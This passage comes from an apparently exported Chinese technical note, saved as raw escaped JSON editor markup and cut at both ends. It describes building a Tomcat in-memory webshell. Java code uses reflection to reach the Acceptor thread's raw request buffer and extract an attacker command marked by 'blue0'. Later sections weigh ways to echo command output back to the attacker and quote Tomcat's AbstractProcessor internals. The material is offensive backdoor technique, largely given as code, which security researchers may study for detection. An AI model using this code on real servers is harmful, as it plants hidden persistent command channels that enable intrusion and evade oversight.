34;:414},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/b/WEBRESOURCE1fe92af6ed17a6e90cac26a249ce47fb&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:414},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JNeP-1659066270787&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;O0Nm-1659066270785&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;将命令字段提取处理即可。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;19VE-1659074765383&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SOsH-1659074765242&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PCk4-1659074765241&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;       public String getRequest() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WL8h-1659074765244&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UJur-1659074765243&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nvSA-1659074765246&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TQRB-1659074765245&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), \&#34;threads\&#34;));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yPhT-1659074765249&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AiYm-1659074765247&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Hphu-1659074765251&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SZSx-1659074765250&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                for (Thread thread : threads) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gguN-1659074765253&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tiu5-1659074765252&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (thread != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;S16G-1659074765255&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3tZb-1659074765254&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        String threadName = thread.getName();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;R6BO-1659074765257&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JP3Y-1659074765256&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        if (!threadName.contains(\&#34;exec\&#34;) &amp;&amp; threadName.contains(\&#34;Acceptor\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Pmpa-1659074765259&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2BHW-1659074765258&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            Object target = getField(thread, \&#34;target\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bAbt-1659074765261&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JnV8-1659074765260&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            if (target instanceof Runnable) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1FtZ-1659074765263&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dxb4-1659074765262&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;duEX-1659074765265&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;USEo-1659074765264&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4PCd-1659074765267&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Mwec-1659074765266&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Uuzp-1659074765269&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0ftj-1659074765268&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    Object[] objects = (Object[]) getField(getField(getField(target, \&#34;this$0\&#34;), \&#34;nioChannels\&#34;), \&#34;stack\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cbcj-1659074765289&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7v3v-1659074765288&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[0], \&#34;appReadBufHandler\&#34;), \&#34;byteBuffer\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ft1C-1659074765291&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZQuD-1659074765290&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WdwP-1659074781955&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PBh3-1659074781952&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    String a = new String(heapByteBuffer.array(), \&#34;UTF-8\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;f3b8-1659074765303&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uuKv-1659074765302&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IU8k-1659074765305&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6wkB-1659074765304&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    if (a.indexOf(\&#34;blue0\&#34;) &gt; -1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JyA4-1659074765307&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;X5qZ-1659074765306&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        System.out.println(a.indexOf(\&#34;blue0\&#34;));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XNeP-1659074765309&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lMIL-1659074765308&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        System.out.println(a.indexOf(\&#34;\\r\&#34;, a.indexOf(\&#34;blue0\&#34;)) - 1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Cl1W-1659074765311&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PzhF-1659074765310&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        String b = a.substring(a.indexOf(\&#34;blue0\&#34;) + \&#34;blue0\&#34;.length() + 1, a.indexOf(\&#34;\\r\&#34;, a.indexOf(\&#34;blue0\&#34;)) - 1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Gc2N-1659074765313&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TmMR-1659074765312&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//                                        System.out.println(b);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;d6wS-1659074765315&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cDE6-1659074765314&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        return b;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gtxe-1659074765317&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MUZ4-1659074765316&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YT08-1659074765320&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;E9ZR-1659074765318&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QwIM-1659074765336&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xPO9-1659074765335&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                } catch (Exception var11) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UrIY-1659074765338&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;K1dH-1659074765337&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    System.out.println(var11);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m7h8-1659074765340&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HLEf-1659074765339&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    continue;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nnKW-1659074765342&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Py1M-1659074765341&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4bZu-1659074765368&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JLhG-1659074765367&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mFPi-1659074765370&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;D8Bq-1659074765369&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2XgE-1659074765372&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;K66l-1659074765371&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Q5QR-1659074765374&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wrQN-1659074765373&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zGXV-1659074765376&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;z3fz-1659074765375&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } catch (Exception ignored) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;M1Wf-1659074765378&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uHW3-1659074765377&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y0R1-1659074765380&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KX8d-1659074765379&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return new String();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5sy1-1659074765382&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZpZh-1659074765381&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3PZX-1659066229853&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yoeW-1659066229852&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;实现回显&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:20}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SydY-1659066149200&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8c8u-1659066149198&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;注入内存马的位置在Processor处理生成标准ServletRequest之前，显然完整的ServletResponse要在Containor处理完成之后才会生成，那我们要如何解决回显问题？&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AdMh-1659076865462&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h4&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;edgH-1659076865447&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;想法一：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:18}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NvCM-1659080032139&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;u8D2-1659080032137&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;直接在此处使用Socket与client端进行通信，以字节流的形式传输数据。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wSog-1659080236766&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oQz6-1659080236763&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;（理论上可行，未测试）&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tzLM-1659080305785&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h4&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7Ysq-1659080305770&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;想法二：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:18}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7PUk-1659066149389&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zOdS-1659066149388&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;主要利用tomcat在处理request时的特性。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dpg8-1659099096163&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BEDC-1659099096160&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;AbstractProcessor在初始化时就会进行Tomcat Request与Response的创建，继承了AbstractProcessor的Http11Processor也是如此：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZEkM-1659098666506&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CDjg-1659098666469&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7N2w-1659098666468&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;......&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sC1u-1659098674901&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tWuv-1659098674899&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;a8wk-1659098669320&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sWba-1659098669318&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public AbstractProcessor(AbstractEndpoint&lt;?&gt; endpoint) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9hW0-1659098666471&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V1cH-1659098666470&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    this(endpoint, new Request(), new Response());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5Qle-1659098666473&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8cqY-1659098666472&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XTGx-1659098666475&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4VY5-1659098666474&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;T1sY-1659098676618&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HEUH-1659098676616&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;......&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q3Ty-1659098683202&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7YhV-1659098683200&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qetc-1659098666477&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TtE1-1659098666476&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;protected AbstractProcessor(AbstractEndpoint&lt;?&gt; endpoint, Request coyoteRequest, Response coyoteResponse) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;akZd-1659098666479&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V4Na-1659098666478&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    this.hostNameC = new char[0];&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yQ6F-1659098666481&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IqRs-1659098666480&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    this.asyncTimeout = -1L;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DrX2-1659098666483&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NBCa-1659098666482&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    this.asyncTimeoutGeneration = 0L;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;B5uT-1659098666485&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rGVq-1659098666484&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    this.socketWrapper = null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Nswx-1659098666487&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iPzL-1659098666486&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    this.errorState = ErrorState.NONE;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vkrS-1659098666489&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;psYV-1659098666488&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    this.endpoint = endpoint;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hphJ-1659098666491&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;d2wC-1659098666490&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    this.asyncStateMachine = new AsyncStateMachine(this);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FgDD-1659098666493&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6kXu-1659098666492&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    this.request = coyoteRequest;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kq4l-1659098666495&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;peaw-1659098666494&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    this.response = 